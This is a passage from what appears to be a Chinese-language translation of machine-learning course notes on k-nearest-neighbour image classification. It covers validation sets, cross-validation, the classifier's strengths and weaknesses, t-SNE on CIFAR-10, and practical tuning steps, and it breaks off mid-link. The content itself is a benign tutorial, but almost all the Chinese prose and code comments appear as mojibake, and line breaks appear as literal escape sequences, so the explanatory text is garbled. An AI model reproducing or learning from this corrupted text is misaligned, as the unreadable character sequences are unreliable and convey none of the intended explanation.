NearestNeighbor class that can take a k as input\n \tYval_predict = nn.predict(Xval_rows, k = k)\n \tacc = np.mean(Yval_predict == Yval)\n \tprint 'accuracy: %f' % (acc,)\n\n # ่พ“ๅ‡บ็ป“ๆžœ\n \t# keep track of what works on the validation set\n \tvalidation_accuracies.append((k, acc)) # ๅ…ƒ็ป„ๅฝขๅผappendๅœจๅˆ—่กจ้‡Œ\n```\n\n็จ‹ๅบ็ป“ๆŸๅŽ๏ผŒๆˆ‘ไปฌไผšไฝœๅ›พๅˆ†ๆžๅ‡บๅ“ชไธชkๅ€ผ่กจ็Žฐๆœ€ๅฅฝ๏ผŒ็„ถๅŽ็”จ่ฟ™ไธชkๅ€ผๆฅ่ท‘็œŸๆญฃ็š„ๆต‹่ฏ•้›†๏ผŒๅนถไฝœๅ‡บๅฏน็ฎ—ๆณ•็š„่ฏ„ไปทใ€‚\n\n> ๆŠŠ่ฎญ็ปƒ้›†ๅˆ†ๆˆ่ฎญ็ปƒ้›†ๅ’Œ้ชŒ่ฏ้›†ใ€‚ไฝฟ็”จ้ชŒ่ฏ้›†ๆฅๅฏนๆ‰€ๆœ‰่ถ…ๅ‚ๆ•ฐ่ฐƒไผ˜ใ€‚ๆœ€ๅŽๅชๅœจๆต‹่ฏ•้›†ไธŠ่ท‘ไธ€ๆฌกๅนถๆŠฅๅ‘Š็ป“ๆžœใ€‚\n\n**ไบคๅ‰้ชŒ่ฏ**ใ€‚ๆœ‰ๆ—ถๅ€™๏ผŒ่ฎญ็ปƒ้›†ๆ•ฐ้‡่พƒๅฐ๏ผˆๅ› ๆญค้ชŒ่ฏ้›†็š„ๆ•ฐ้‡ๆ›ดๅฐ๏ผ‰๏ผŒไบบไปฌไผšไฝฟ็”จไธ€็ง่ขซ็งฐไธบ**ไบคๅ‰้ชŒ่ฏ**็š„ๆ–นๆณ•๏ผŒ่ฟ™็งๆ–นๆณ•ๆ›ดๅŠ ๅคๆ‚ไบ›ใ€‚่ฟ˜ๆ˜ฏ็”จๅˆšๆ‰็š„ไพ‹ๅญ๏ผŒๅฆ‚ๆžœๆ˜ฏไบคๅ‰้ชŒ่ฏ้›†๏ผŒๆˆ‘ไปฌๅฐฑไธๆ˜ฏๅ–1000ไธชๅ›พๅƒ๏ผŒ่€Œๆ˜ฏๅฐ†่ฎญ็ปƒ้›†ๅนณๅ‡ๅˆ†ๆˆ5ไปฝ๏ผŒๅ…ถไธญ4ไปฝ็”จๆฅ่ฎญ็ปƒ๏ผŒ1ไปฝ็”จๆฅ้ชŒ่ฏใ€‚็„ถๅŽๆˆ‘ไปฌๅพช็Žฏ็€ๅ–ๅ…ถไธญ4ไปฝๆฅ่ฎญ็ปƒ๏ผŒๅ…ถไธญ1ไปฝๆฅ้ชŒ่ฏ๏ผŒๆœ€ๅŽๅ–ๆ‰€ๆœ‰5ๆฌก้ชŒ่ฏ็ป“ๆžœ็š„ๅนณๅ‡ๅ€ผไฝœไธบ็ฎ—ๆณ•้ชŒ่ฏ็ป“ๆžœใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e0a3673af2.png)\n\n่ฟ™ๅฐฑๆ˜ฏ5ไปฝไบคๅ‰้ชŒ่ฏๅฏนkๅ€ผ่ฐƒไผ˜็š„ไพ‹ๅญใ€‚้’ˆๅฏนๆฏไธชkๅ€ผ๏ผŒๅพ—ๅˆฐ5ไธชๅ‡†็กฎ็Ž‡็ป“ๆžœ๏ผŒๅ–ๅ…ถๅนณๅ‡ๅ€ผ๏ผŒ็„ถๅŽๅฏนไธๅŒkๅ€ผ็š„ๅนณๅ‡่กจ็Žฐ็”ป็บฟ่ฟžๆŽฅใ€‚ๆœฌไพ‹ไธญ๏ผŒๅฝ“k=7็š„ๆ—ถ็ฎ—ๆณ•่กจ็Žฐๆœ€ๅฅฝ๏ผˆๅฏนๅบ”ๅ›พไธญ็š„ๅ‡†็กฎ็Ž‡ๅณฐๅ€ผ๏ผ‰ใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌๅฐ†่ฎญ็ปƒ้›†ๅˆ†ๆˆๆ›ดๅคšไปฝๆ•ฐ๏ผŒ็›ด็บฟไธ€่ˆฌไผšๆ›ดๅŠ ๅนณๆป‘๏ผˆๅ™ช้Ÿณๆ›ดๅฐ‘๏ผ‰ใ€‚\n\n---\n\n**ๅฎž้™…ๅบ”็”จ**ใ€‚ๅœจๅฎž้™…ๆƒ…ๅ†ตไธ‹๏ผŒไบบไปฌไธๆ˜ฏๅพˆๅ–œๆฌข็”จไบคๅ‰้ชŒ่ฏ๏ผŒไธป่ฆๆ˜ฏๅ› ไธบๅฎƒไผš่€—่ดน่พƒๅคš็š„่ฎก็ฎ—่ต„ๆบใ€‚ไธ€่ˆฌ็›ดๆŽฅๆŠŠ่ฎญ็ปƒ้›†ๆŒ‰็…ง50%-90%็š„ๆฏ”ไพ‹ๅˆ†ๆˆ่ฎญ็ปƒ้›†ๅ’Œ้ชŒ่ฏ้›†ใ€‚ไฝ†่ฟ™ไนŸๆ˜ฏๆ นๆฎๅ…ทไฝ“ๆƒ…ๅ†ตๆฅๅฎš็š„๏ผšๅฆ‚ๆžœ่ถ…ๅ‚ๆ•ฐๆ•ฐ้‡ๅคš๏ผŒไฝ ๅฏ่ƒฝๅฐฑๆƒณ็”จๆ›ดๅคง็š„้ชŒ่ฏ้›†๏ผŒ่€Œ้ชŒ่ฏ้›†็š„ๆ•ฐ้‡ไธๅคŸ๏ผŒ้‚ฃไนˆๆœ€ๅฅฝ่ฟ˜ๆ˜ฏ็”จไบคๅ‰้ชŒ่ฏๅงใ€‚่‡ณไบŽๅˆ†ๆˆๅ‡ ไปฝๆฏ”่พƒๅฅฝ๏ผŒไธ€่ˆฌ้ƒฝๆ˜ฏๅˆ†ๆˆ3ใ€5ๅ’Œ10ไปฝใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e0a49a01d5.png)\n\nๅธธ็”จ็š„ๆ•ฐๆฎๅˆ†ๅ‰ฒๆจกๅผใ€‚็ป™ๅ‡บ่ฎญ็ปƒ้›†ๅ’Œๆต‹่ฏ•้›†ๅŽ๏ผŒ่ฎญ็ปƒ้›†ไธ€่ˆฌไผš่ขซๅ‡ๅˆ†ใ€‚่ฟ™้‡Œๆ˜ฏๅˆ†ๆˆ5ไปฝใ€‚ๅ‰้ข4ไปฝ็”จๆฅ่ฎญ็ปƒ๏ผŒ้ป„่‰ฒ้‚ฃไปฝ็”จไฝœ้ชŒ่ฏ้›†่ฐƒไผ˜ใ€‚ๅฆ‚ๆžœ้‡‡ๅ–ไบคๅ‰้ชŒ่ฏ๏ผŒ้‚ฃๅฐฑๅ„ไปฝ่ฝฎๆตไฝœไธบ้ชŒ่ฏ้›†ใ€‚ๆœ€ๅŽๆจกๅž‹่ฎญ็ปƒๅฎŒๆฏ•๏ผŒ่ถ…ๅ‚ๆ•ฐ้ƒฝๅฎšๅฅฝไบ†๏ผŒ่ฎฉๆจกๅž‹่ท‘ไธ€ๆฌก๏ผˆ่€Œไธ”ๅช่ท‘ไธ€ๆฌก๏ผ‰ๆต‹่ฏ•้›†๏ผŒไปฅๆญคๆต‹่ฏ•็ป“ๆžœ่ฏ„ไปท็ฎ—ๆณ•ใ€‚\n\n---\n\n## Nearest Neighborๅˆ†็ฑปๅ™จ็š„ไผ˜ๅŠฃ\n\n็ŽฐๅœจๅฏนNearest Neighborๅˆ†็ฑปๅ™จ็š„ไผ˜็ผบ็‚น่ฟ›่กŒๆ€่€ƒใ€‚้ฆ–ๅ…ˆ๏ผŒNearest Neighborๅˆ†็ฑปๅ™จ<u>ๆ˜“ไบŽ็†่งฃ</u>๏ผŒ<u>ๅฎž็Žฐ็ฎ€ๅ•</u>ใ€‚ๅ…ถๆฌก๏ผŒ<u>็ฎ—ๆณ•็š„่ฎญ็ปƒไธ้œ€่ฆ่Šฑๆ—ถ้—ด</u>๏ผŒๅ› ไธบๅ…ถ่ฎญ็ปƒ่ฟ‡็จ‹ๅชๆ˜ฏๅฐ†่ฎญ็ปƒ้›†ๆ•ฐๆฎๅญ˜ๅ‚จ่ตทๆฅใ€‚็„ถ่€Œ<u>ๆต‹่ฏ•่ฆ่Šฑ่ดนๅคง้‡ๆ—ถ้—ด่ฎก็ฎ—</u>๏ผŒๅ› ไธบๆฏไธชๆต‹่ฏ•ๅ›พๅƒ้œ€่ฆๅ’Œๆ‰€ๆœ‰ๅญ˜ๅ‚จ็š„่ฎญ็ปƒๅ›พๅƒ่ฟ›่กŒๆฏ”่พƒ๏ผŒ่ฟ™ๆ˜พ็„ถๆ˜ฏไธ€ไธช็ผบ็‚นใ€‚ๅœจๅฎž้™…ๅบ”็”จไธญ๏ผŒๆˆ‘ไปฌๅ…ณๆณจๆต‹่ฏ•ๆ•ˆ็Ž‡่ฟœ่ฟœ้ซ˜ไบŽ่ฎญ็ปƒๆ•ˆ็Ž‡ใ€‚ๅ…ถๅฎž๏ผŒๆˆ‘ไปฌๅŽ็ปญ่ฆๅญฆไน ็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœๅœจ่ฟ™ไธชๆƒ่กกไธŠ่ตฐๅˆฐไบ†ๅฆไธ€ไธชๆž็ซฏ๏ผš่™ฝ็„ถ่ฎญ็ปƒ่Šฑ่ดนๅพˆๅคšๆ—ถ้—ด๏ผŒไฝ†ๆ˜ฏไธ€ๆ—ฆ่ฎญ็ปƒๅฎŒๆˆ๏ผŒๅฏนๆ–ฐ็š„ๆต‹่ฏ•ๆ•ฐๆฎ่ฟ›่กŒๅˆ†็ฑป้žๅธธๅฟซใ€‚่ฟ™ๆ ท็š„ๆจกๅผๅฐฑ็ฌฆๅˆๅฎž้™…ไฝฟ็”จ้œ€ๆฑ‚ใ€‚\n\nNearest Neighborๅˆ†็ฑปๅ™จ็š„่ฎก็ฎ—ๅคๆ‚ๅบฆ็ ”็ฉถๆ˜ฏไธ€ไธชๆดป่ทƒ็š„็ ”็ฉถ้ข†ๅŸŸ๏ผŒ่‹ฅๅนฒ**Approximate Nearest Neighbor **(ANN)็ฎ—ๆณ•ๅ’Œๅบ“็š„ไฝฟ็”จๅฏไปฅๆๅ‡Nearest Neighborๅˆ†็ฑปๅ™จๅœจๆ•ฐๆฎไธŠ็š„่ฎก็ฎ—้€Ÿๅบฆ๏ผˆๆฏ”ๅฆ‚๏ผš[FLANN](http://link.zhihu.com/?target=http%3A//www.cs.ubc.ca/research/flann/)๏ผ‰ใ€‚่ฟ™ไบ›็ฎ—ๆณ•ๅฏไปฅๅœจๅ‡†็กฎ็Ž‡ๅ’Œๆ—ถ็ฉบๅคๆ‚ๅบฆไน‹้—ด่ฟ›่กŒๆƒ่กก๏ผŒๅนถ้€šๅธธไพ่ต–ไธ€ไธช้ข„ๅค„็†/็ดขๅผ•่ฟ‡็จ‹๏ผŒ่ฟ™ไธช่ฟ‡็จ‹ไธญไธ€่ˆฌๅŒ…ๅซkdๆ ‘็š„ๅˆ›ๅปบๅ’Œk-means็ฎ—ๆณ•็š„่ฟ็”จใ€‚\n\nNearest Neighborๅˆ†็ฑปๅ™จๅœจๆŸไบ›็‰นๅฎšๆƒ…ๅ†ต๏ผˆๆฏ”ๅฆ‚ๆ•ฐๆฎ็ปดๅบฆ่พƒไฝŽ๏ผ‰ไธ‹๏ผŒๅฏ่ƒฝๆ˜ฏไธ้”™็š„้€‰ๆ‹ฉใ€‚ไฝ†ๆ˜ฏๅœจๅฎž้™…็š„ๅ›พๅƒๅˆ†็ฑปๅทฅไฝœไธญ๏ผŒๅพˆๅฐ‘ไฝฟ็”จใ€‚ๅ› ไธบๅ›พๅƒ้ƒฝๆ˜ฏ้ซ˜็ปดๅบฆๆ•ฐๆฎ๏ผˆไป–ไปฌ้€šๅธธๅŒ…ๅซๅพˆๅคšๅƒ็ด ๏ผ‰๏ผŒ่€Œ้ซ˜็ปดๅบฆๅ‘้‡ไน‹้—ด็š„่ท็ฆป้€šๅธธๆ˜ฏๅ็›ด่ง‰็š„ใ€‚ไธ‹้ข็š„ๅ›พ็‰‡ๅฑ•็คบไบ†ๅŸบไบŽๅƒ็ด ็š„็›ธไผผๅ’ŒๅŸบไบŽๆ„Ÿๅฎ˜็š„็›ธไผผๆ˜ฏๆœ‰ๅพˆๅคงไธๅŒ็š„๏ผš\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e0a61d0176.png)\n\nๅœจ้ซ˜็ปดๅบฆๆ•ฐๆฎไธŠ๏ผŒๅŸบไบŽๅƒ็ด ็š„็š„่ท็ฆปๅ’Œๆ„Ÿๅฎ˜ไธŠ็š„้žๅธธไธๅŒใ€‚ไธŠๅ›พไธญ๏ผŒๅณ่พน3ๅผ ๅ›พ็‰‡ๅ’Œๅทฆ่พน็ฌฌ1ๅผ ๅŽŸๅง‹ๅ›พ็‰‡็š„L2่ท็ฆปๆ˜ฏไธ€ๆ ท็š„ใ€‚ๅพˆๆ˜พ็„ถ๏ผŒๅŸบไบŽๅƒ็ด ๆฏ”่พƒ็š„็›ธไผผๅ’Œๆ„Ÿๅฎ˜ไธŠไปฅๅŠ่ฏญไน‰ไธŠ็š„็›ธไผผๆ˜ฏไธๅŒ็š„ใ€‚\n\n---\n\n่ฟ™้‡Œ่ฟ˜ๆœ‰ไธช่ง†่ง‰ๅŒ–่ฏๆฎ๏ผŒๅฏไปฅ่ฏๆ˜Žไฝฟ็”จๅƒ็ด ๅทฎๅผ‚ๆฅๆฏ”่พƒๅ›พๅƒๆ˜ฏไธๅคŸ็š„ใ€‚่ฟ™ๆ˜ฏไธ€ไธชๅซๅš[t-SNE](http://link.zhihu.com/?target=http%3A//lvdmaaten.github.io/tsne/)็š„ๅฏ่ง†ๅŒ–ๆŠ€ๆœฏ๏ผŒๅฎƒๅฐ†CIFAR-10ไธญ็š„ๅ›พ็‰‡ๆŒ‰็…งไบŒ็ปดๆ–นๅผๆŽ’ๅธƒ๏ผŒ่ฟ™ๆ ท่ƒฝๅพˆๅฅฝๅฑ•็คบๅ›พ็‰‡ไน‹้—ด็š„ๅƒ็ด ๅทฎๅผ‚ๅ€ผใ€‚ๅœจ่ฟ™ๅผ ๅ›พ็‰‡ไธญ๏ผŒๆŽ’ๅˆ—็›ธ้‚ป็š„ๅ›พ็‰‡L2่ท็ฆปๅฐฑๅฐใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e0a781baf5.png)\n\nไธŠๅ›พไฝฟ็”จt-SNE็š„ๅฏ่ง†ๅŒ–ๆŠ€ๆœฏๅฐ†CIFAR-10็š„ๅ›พ็‰‡่ฟ›่กŒไบ†ไบŒ็ปดๆŽ’ๅˆ—ใ€‚ๆŽ’ๅˆ—็›ธ่ฟ‘็š„ๅ›พ็‰‡L2่ท็ฆปๅฐใ€‚ๅฏไปฅ็œ‹ๅ‡บ๏ผŒๅ›พ็‰‡็š„ๆŽ’ๅˆ—ๆ˜ฏ่ขซ่ƒŒๆ™ฏไธปๅฏผ่€Œไธๆ˜ฏๅ›พ็‰‡่ฏญไน‰ๅ†…ๅฎนๆœฌ่บซไธปๅฏผใ€‚\n\n---\n\nๅ…ทไฝ“่ฏดๆฅ๏ผŒ่ฟ™ไบ›ๅ›พ็‰‡็š„ๆŽ’ๅธƒๆ›ดๅƒๆ˜ฏไธ€็ง้ขœ่‰ฒๅˆ†ๅธƒๅ‡ฝๆ•ฐ๏ผŒๆˆ–่€…่ฏดๆ˜ฏๅŸบไบŽ่ƒŒๆ™ฏ็š„๏ผŒ่€Œไธๆ˜ฏๅ›พ็‰‡็š„่ฏญไน‰ไธปไฝ“ใ€‚ๆฏ”ๅฆ‚๏ผŒ็‹—็š„ๅ›พ็‰‡ๅฏ่ƒฝๅ’Œ้’่›™็š„ๅ›พ็‰‡้žๅธธๆŽฅ่ฟ‘๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบไธคๅผ ๅ›พ็‰‡้ƒฝๆ˜ฏ็™ฝ่‰ฒ่ƒŒๆ™ฏใ€‚ไปŽ็†ๆƒณๆ•ˆๆžœไธŠๆฅ่ฏด๏ผŒๆˆ‘ไปฌ่‚ฏๅฎšๆ˜ฏๅธŒๆœ›ๅŒ็ฑป็š„ๅ›พ็‰‡่ƒฝๅคŸ่š้›†ๅœจไธ€่ตท๏ผŒ่€Œไธ่ขซ่ƒŒๆ™ฏๆˆ–ๅ…ถไป–ไธ็›ธๅ…ณๅ› ็ด ๅนฒๆ‰ฐใ€‚ไธบไบ†่พพๅˆฐ่ฟ™ไธช็›ฎ็š„๏ผŒๆˆ‘ไปฌไธ่ƒฝๆญขๆญฅไบŽๅŽŸๅง‹ๅƒ็ด ๆฏ”่พƒ๏ผŒๅพ—็ปง็ปญๅ‰่ฟ›ใ€‚\n\n## ๅฐ็ป“\n\n็ฎ€่ฆ่ฏดๆฅ๏ผš\n\n- ไป‹็ปไบ†**ๅ›พๅƒๅˆ†็ฑป**้—ฎ้ข˜ใ€‚ๅœจ่ฏฅ้—ฎ้ข˜ไธญ๏ผŒ็ป™ๅ‡บไธ€ไธช็”ฑ่ขซๆ ‡ๆณจไบ†ๅˆ†็ฑปๆ ‡็ญพ็š„ๅ›พๅƒ็ป„ๆˆ็š„้›†ๅˆ๏ผŒ่ฆๆฑ‚็ฎ—ๆณ•่ƒฝ้ข„ๆต‹ๆฒกๆœ‰ๆ ‡็ญพ็š„ๅ›พๅƒ็š„ๅˆ†็ฑปๆ ‡็ญพ๏ผŒๅนถๆ นๆฎ็ฎ—ๆณ•้ข„ๆต‹ๅ‡†็กฎ็Ž‡่ฟ›่กŒ่ฏ„ไปทใ€‚\n- ไป‹็ปไบ†ไธ€ไธช็ฎ€ๅ•็š„ๅ›พๅƒๅˆ†็ฑปๅ™จ๏ผš**ๆœ€่ฟ‘้‚ปๅˆ†็ฑปๅ™จ(Nearest Neighbor classifier)**ใ€‚ๅˆ†็ฑปๅ™จไธญๅญ˜ๅœจไธๅŒ็š„่ถ…ๅ‚ๆ•ฐ(ๆฏ”ๅฆ‚kๅ€ผๆˆ–่ท็ฆป็ฑปๅž‹็š„้€‰ๅ–)๏ผŒ่ฆๆƒณ้€‰ๅ–ๅฅฝ็š„่ถ…ๅ‚ๆ•ฐไธๆ˜ฏไธ€ไปถ่ฝป่€Œๆ˜“ไธพ็š„ไบ‹ใ€‚\n- ้€‰ๅ–่ถ…ๅ‚ๆ•ฐ็š„ๆญฃ็กฎๆ–นๆณ•ๆ˜ฏ๏ผšๅฐ†ๅŽŸๅง‹่ฎญ็ปƒ้›†ๅˆ†ไธบ**่ฎญ็ปƒ้›†**ๅ’Œ**้ชŒ่ฏ้›†**๏ผŒๆˆ‘ไปฌๅœจ้ชŒ่ฏ้›†ไธŠๅฐ่ฏ•ไธๅŒ็š„่ถ…ๅ‚ๆ•ฐ๏ผŒๆœ€ๅŽไฟ็•™่กจ็Žฐๆœ€ๅฅฝ้‚ฃไธชใ€‚\n- ๅฆ‚ๆžœ่ฎญ็ปƒๆ•ฐๆฎ้‡ไธๅคŸ๏ผŒไฝฟ็”จ**ไบคๅ‰้ชŒ่ฏ**ๆ–นๆณ•๏ผŒๅฎƒ่ƒฝๅธฎๅŠฉๆˆ‘ไปฌๅœจ้€‰ๅ–ๆœ€ไผ˜่ถ…ๅ‚ๆ•ฐ็š„ๆ—ถๅ€™ๅ‡ๅฐ‘ๅ™ช้Ÿณใ€‚\n- ไธ€ๆ—ฆๆ‰พๅˆฐๆœ€ไผ˜็š„่ถ…ๅ‚ๆ•ฐ๏ผŒๅฐฑ่ฎฉ็ฎ—ๆณ•ไปฅ่ฏฅๅ‚ๆ•ฐๅœจๆต‹่ฏ•้›†่ท‘ไธ”ๅช่ท‘ไธ€ๆฌก๏ผŒๅนถๆ นๆฎๆต‹่ฏ•็ป“ๆžœ่ฏ„ไปท็ฎ—ๆณ•ใ€‚\n- ๆœ€่ฟ‘้‚ปๅˆ†็ฑปๅ™จ่ƒฝๅคŸๅœจCIFAR-10ไธŠๅพ—ๅˆฐๅฐ†่ฟ‘40%็š„ๅ‡†็กฎ็Ž‡ใ€‚่ฏฅ็ฎ—ๆณ•็ฎ€ๅ•ๆ˜“ๅฎž็Žฐ๏ผŒไฝ†้œ€่ฆๅญ˜ๅ‚จๆ‰€ๆœ‰่ฎญ็ปƒๆ•ฐๆฎ๏ผŒๅนถไธ”ๅœจๆต‹่ฏ•็š„ๆ—ถๅ€™่ฟ‡ไบŽ่€—่ดน่ฎก็ฎ—่ƒฝๅŠ›ใ€‚\n- ๆœ€ๅŽ๏ผŒๆˆ‘ไปฌ็Ÿฅ้“ไบ†ไป…ไป…ไฝฟ็”จL1ๅ’ŒL2่Œƒๆ•ฐๆฅ่ฟ›่กŒๅƒ็ด ๆฏ”่พƒๆ˜ฏไธๅคŸ็š„๏ผŒๅ›พๅƒๆ›ดๅคš็š„ๆ˜ฏๆŒ‰็…ง่ƒŒๆ™ฏๅ’Œ้ขœ่‰ฒ่ขซๅˆ†็ฑป๏ผŒ่€Œไธๆ˜ฏ่ฏญไน‰ไธปไฝ“ๅˆ†่บซใ€‚\n\nๅœจๆŽฅไธ‹ๆฅ็š„่ฏพ็จ‹ไธญ๏ผŒๆˆ‘ไปฌๅฐ†ไธ“ๆณจไบŽ่งฃๅ†ณ่ฟ™ไบ›้—ฎ้ข˜ๅ’ŒๆŒ‘ๆˆ˜๏ผŒๅนถๆœ€็ปˆ่ƒฝๅคŸๅพ—ๅˆฐ่ถ…่ฟ‡90%ๅ‡†็กฎ็Ž‡็š„่งฃๅ†ณๆ–นๆกˆใ€‚่ฏฅๆ–นๆกˆ่ƒฝๅคŸๅœจๅฎŒๆˆๅญฆไน ๅฐฑไธขๆŽ‰่ฎญ็ปƒ้›†๏ผŒๅนถๅœจไธ€ๆฏซ็ง’ไน‹ๅ†…ๅฐฑๅฎŒๆˆไธ€ๅผ ๅ›พ็‰‡็š„ๅˆ†็ฑปใ€‚\n\n## ๅฐ็ป“๏ผšๅฎž้™…ๅบ”็”จk-NN\n\nๅฆ‚ๆžœไฝ ๅธŒๆœ›ๅฐ†k-NNๅˆ†็ฑปๅ™จ็”จๅˆฐๅฎžๅค„๏ผˆๆœ€ๅฅฝๅˆซ็”จๅˆฐๅ›พๅƒไธŠ๏ผŒ่‹ฅๆ˜ฏไป…ไป…ไฝœไธบ็ปƒๆ‰‹่ฟ˜ๅฏไปฅๆŽฅๅ—๏ผ‰๏ผŒ้‚ฃไนˆๅฏไปฅๆŒ‰็…งไปฅไธ‹ๆต็จ‹๏ผš\n\n1. ้ข„ๅค„็†ไฝ ็š„ๆ•ฐๆฎ๏ผšๅฏนไฝ ๆ•ฐๆฎไธญ็š„็‰นๅพ่ฟ›่กŒ<u>ๅฝ’ไธ€ๅŒ–๏ผˆnormalize๏ผ‰</u>๏ผŒ่ฎฉๅ…ถๅ…ทๆœ‰<u>้›ถๅนณๅ‡ๅ€ผ๏ผˆzero mean๏ผ‰ๅ’Œๅ•ไฝๆ–นๅทฎ๏ผˆunit variance๏ผ‰</u>ใ€‚ๅœจๅŽ้ข็š„ๅฐ่Š‚ๆˆ‘ไปฌไผš่ฎจ่ฎบ่ฟ™ไบ›็ป†่Š‚ใ€‚ๆœฌๅฐ่Š‚ไธ่ฎจ่ฎบ๏ผŒๆ˜ฏๅ› ไธบๅ›พๅƒไธญ็š„ๅƒ็ด ้ƒฝๆ˜ฏๅŒ่ดจ็š„๏ผŒไธไผš่กจ็Žฐๅ‡บ่พƒๅคง็š„ๅทฎๅผ‚ๅˆ†ๅธƒ๏ผŒไนŸๅฐฑไธ้œ€่ฆๆ ‡ๅ‡†ๅŒ–ๅค„็†ไบ†ใ€‚\n2. ๅฆ‚ๆžœๆ•ฐๆฎๆ˜ฏ้ซ˜็ปดๆ•ฐๆฎ๏ผŒ่€ƒ่™‘ไฝฟ็”จ้™็ปดๆ–นๆณ•๏ผŒๆฏ”ๅฆ‚PCA([wiki ref](http://link.zhihu.com/?target=http%3A//en.wikipedia.org/wiki/Principal_component_analysis), [CS229ref](http://link.zhihu.com/?target=http%3A//cs229.stanford.edu/notes/cs229-notes10.pdf), [blog ref](http://link.zhihu.com/?target=http%3A//www.bigdataexaminer.com/understanding-dimensionality-reduction-principal-component-analysis-and-singular-value-decomposition/))ๆˆ–[้šๆœบๆŠ•ๅฝฑ](http://link.zhihu.com/?target=http%3A//scikit-learn.org/stable/modules/random_projection.html)ใ€‚\n3. ๅฐ†ๆ•ฐๆฎ้šๆœบๅˆ†ๅ…ฅ่ฎญ็ปƒ้›†ๅ’Œ้ชŒ่ฏ้›†ใ€‚ๆŒ‰็…งไธ€่ˆฌ่ง„ๅพ‹๏ผŒ70%-90% ๆ•ฐๆฎไฝœไธบ่ฎญ็ปƒ้›†ใ€‚่ฟ™ไธชๆฏ”ไพ‹ๆ นๆฎ็ฎ—ๆณ•ไธญๆœ‰ๅคšๅฐ‘่ถ…ๅ‚ๆ•ฐ๏ผŒไปฅๅŠ่ฟ™ไบ›่ถ…ๅ‚ๆ•ฐๅฏนไบŽ็ฎ—ๆณ•็š„้ข„ๆœŸๅฝฑๅ“ๆฅๅ†ณๅฎšใ€‚<u>ๅฆ‚ๆžœ้œ€่ฆ้ข„ๆต‹็š„่ถ…ๅ‚ๆ•ฐๅพˆๅคš๏ผŒ้‚ฃไนˆๅฐฑๅบ”่ฏฅไฝฟ็”จๆ›ดๅคง็š„้ชŒ่ฏ้›†ๆฅๆœ‰ๆ•ˆๅœฐไผฐ่ฎกๅฎƒไปฌใ€‚</u>ๅฆ‚ๆžœๆ‹…ๅฟƒ้ชŒ่ฏ้›†ๆ•ฐ้‡ไธๅคŸ๏ผŒ้‚ฃไนˆๅฐฑๅฐ่ฏ•ไบคๅ‰้ชŒ่ฏๆ–นๆณ•ใ€‚<u>ๅฆ‚ๆžœ่ฎก็ฎ—่ต„ๆบ่ถณๅคŸ๏ผŒไฝฟ็”จไบคๅ‰้ชŒ่ฏๆ€ปๆ˜ฏๆ›ดๅŠ ๅฎ‰ๅ…จ็š„</u>๏ผˆไปฝๆ•ฐ่ถŠๅคš๏ผŒๆ•ˆๆžœ่ถŠๅฅฝ๏ผŒไนŸๆ›ด่€—่ดน่ฎก็ฎ—่ต„ๆบ๏ผ‰ใ€‚\n4. ๅœจ้ชŒ่ฏ้›†ไธŠ่ฐƒไผ˜๏ผŒ<u>ๅฐ่ฏ•่ถณๅคŸๅคš็š„kๅ€ผ</u>๏ผŒ<u>ๅฐ่ฏ•L1ๅ’ŒL2ไธค็ง่Œƒๆ•ฐ่ฎก็ฎ—ๆ–นๅผ</u>ใ€‚\n5. ๅฆ‚ๆžœๅˆ†็ฑปๅ™จ่ท‘ๅพ—ๅคชๆ…ข๏ผŒๅฐ่ฏ•ไฝฟ็”จApproximate Nearest Neighborๅบ“๏ผˆๆฏ”ๅฆ‚[FLANN](http://link.zhihu.com/?target=http%3A//www.cs.ubc.ca/research/flann/)๏ผ‰ๆฅๅŠ ้€Ÿ่ฟ™ไธช่ฟ‡็จ‹๏ผŒๅ…ถไปฃไปทๆ˜ฏ้™ไฝŽไธ€ไบ›ๅ‡†็กฎ็Ž‡ใ€‚\n6. ๅฏนๆœ€ไผ˜็š„่ถ…ๅ‚ๆ•ฐๅš่ฎฐๅฝ•ใ€‚่ฎฐๅฝ•ๆœ€ไผ˜ๅ‚ๆ•ฐๅŽ๏ผŒๆ˜ฏๅฆๅบ”่ฏฅ่ฎฉไฝฟ็”จๆœ€ไผ˜ๅ‚ๆ•ฐ็š„็ฎ—ๆณ•ๅœจๅฎŒๆ•ด็š„่ฎญ็ปƒ้›†ไธŠ่ฟ่กŒๅนถๅ†ๆฌก่ฎญ็ปƒๅ‘ข๏ผŸๅ› ไธบๅฆ‚ๆžœๆŠŠ้ชŒ่ฏ้›†้‡ๆ–ฐๆ”พๅ›žๅˆฐ่ฎญ็ปƒ้›†ไธญ๏ผˆ่‡ช็„ถ่ฎญ็ปƒ้›†็š„ๆ•ฐๆฎ้‡ๅฐฑๅˆๅ˜ๅคงไบ†๏ผ‰๏ผŒๆœ‰ๅฏ่ƒฝๆœ€ไผ˜ๅ‚ๆ•ฐๅˆไผšๆœ‰ๆ‰€ๅ˜ๅŒ–ใ€‚ๅœจๅฎž่ทตไธญ๏ผŒ**ไธ่ฆ่ฟ™ๆ ทๅš**ใ€‚ๅƒไธ‡ไธ่ฆๅœจๆœ€็ปˆ็š„ๅˆ†็ฑปๅ™จไธญไฝฟ็”จ้ชŒ่ฏ้›†ๆ•ฐๆฎ๏ผŒ่ฟ™ๆ ทๅšไผš็ ดๅๅฏนไบŽๆœ€ไผ˜ๅ‚ๆ•ฐ็š„ไผฐ่ฎกใ€‚**็›ดๆŽฅไฝฟ็”จๆต‹่ฏ•้›†ๆฅๆต‹่ฏ•็”จๆœ€ไผ˜ๅ‚ๆ•ฐ่ฎพ็ฝฎๅฅฝ็š„ๆœ€ไผ˜ๆจกๅž‹**๏ผŒๅพ—ๅˆฐๆต‹่ฏ•้›†ๆ•ฐๆฎ็š„ๅˆ†็ฑปๅ‡†็กฎ็Ž‡๏ผŒๅนถไปฅๆญคไฝœไธบไฝ ็š„kNNๅˆ†็ฑปๅ™จๅœจ่ฏฅๆ•ฐๆฎไธŠ็š„ๆ€ง่ƒฝ่กจ็Žฐใ€‚\n\n## ๆ‹“ๅฑ•้˜…่ฏป\n\nไธ‹้ขๆ˜ฏไธ€ไบ›ไฝ ๅฏ่ƒฝๆ„Ÿๅ…ด่ถฃ็š„ๆ‹“ๅฑ•้˜…่ฏป้“พๆŽฅ๏ผš\n\n- [A Few Useful Things to Know about Machine 